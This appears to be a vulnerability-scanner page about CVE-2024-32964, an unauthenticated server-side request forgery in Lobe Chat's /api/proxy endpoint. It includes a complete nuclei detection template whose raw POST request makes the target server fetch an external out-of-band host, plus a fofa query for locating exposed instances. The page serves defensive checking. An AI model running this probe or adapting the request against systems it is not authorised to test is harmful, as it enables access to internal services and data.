Lobe Chat <= v0.150.5 - Server-Side Request Forgery

criticalseverity

9CVSS score

53%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.

Impact

Unauthenticated attackers can force the server to make arbitrary requests, potentially accessing internal services and sensitive data.

Fix

Update Lobe Chat to version 0.150.6 or later.

How to confirm it

Send: GET /welcome
Positive when: contains(tolower(body), "lobechat") and status_code == 200
Send: POST /api/proxy
Positive when: contains in response "<h1> Interactsh Server </h1>"

Run it with nuclei: nuclei -id CVE-2024-32964 -u <target>

The full check

id: CVE-2024-32964

info:
  name: Lobe Chat <= v0.150.5 - Server-Side Request Forgery
  author: s4e-io
  severity: critical
  description: |
    Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests, potentially accessing internal services and sensitive data.
  remediation: |
    Update Lobe Chat to version 0.150.6 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32964
    - https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37
    - https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc
    - https://vulert.com/vuln-db/CVE-2024-32964
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
    cvss-score: 9
    cve-id: CVE-2024-32964
    cwe-id: CWE-918
    epss-score: 0.52964
    epss-percentile: 0.98984
  metadata:
    verified: true
    max-request: 2
    vendor: lobehub
    product: lobe-chat
    fofa-query: icon_hash="1975020705"
  tags: cve,cve2024,lobechat,ssrf,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /welcome HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "lobechat")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/proxy HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        http://oast.me

    matchers:
      - type: word
        part: response
        words:
          - "<h1> Interactsh Server </h1>"

References

Use this check only on systems you are authorised to test. Where the data comes from